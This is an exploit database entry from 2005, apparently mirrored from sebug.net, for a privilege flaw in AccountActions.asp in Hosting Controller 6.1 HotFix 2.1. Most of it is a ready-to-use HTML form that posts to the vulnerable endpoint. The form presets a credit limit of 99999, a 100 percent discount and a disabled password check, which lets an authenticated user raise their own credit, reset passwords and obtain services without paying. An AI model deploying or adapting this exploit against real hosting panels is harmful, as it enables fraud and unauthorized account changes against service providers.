Hosting Controller <= 0.6.1 HotFix 2.1 Change Credit Limit Exploit

🗓️ 10 Jul 2005 00:00:00Reported by RootType

Hosting Controller security bug in "AccountActions.asp" allows authenticated users to change their credit limit and purchase services. Version 6.1 HotFix 2.1 and older affected


                                                Hi, I'm Soroush Dalili from GSG (GrayHatz Security Group).
Title: Hosting controller program have a security bug in &quot;AccountActions.asp&quot; that an authenticated 
user can change his/her credit and buy some services!

Version: 6.1 HotFix 2.1 and older
Developer url: hostingcontroller.com
Comment: Hosting Controller is an application to manage a host.
Exploit code to proof:
--------------------------------
GET CREDIT&lt;br&gt;Soroush Dalili from GSG&lt;br&gt;
&lt;form action=&quot;http://[URL]/Admin/Accounts/AccountActions.asp?ActionType=UpdateCreditLimit&quot; method=&quot;post&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;Username:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;UserName&quot; value=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Description:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;Description&quot; value=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FullName:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;FullName&quot; value=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AccountDisabled 1,[blank]:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;AccountDisabled&quot; value=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UserChangePassword:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;UserChangePassword&quot; value=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PassCheck=TRUE,0:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;PassCheck&quot; value=&quot;0&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;New Password:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;Pass1&quot; value=&quot;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DefaultDiscount%:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;DefaultDiscount&quot; value=&quot;100&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CreditLimit:&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;CreditLimit&quot; value=&quot;99999&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;br&gt;&lt;input type=&quot;submit&quot;&gt;
&lt;/form&gt;
&lt;hr&gt;&lt;br&gt;

# sebug.net

10 Jul 2005 00:00Current

7.1High risk

Vulners AI Score7.1

Hosting Controller &lt;= 0.6.1 HotFix 2.1 Change Credit Limit Exploit

Hosting Controller <= 0.6.1 HotFix 2.1 Change Credit Limit Exploit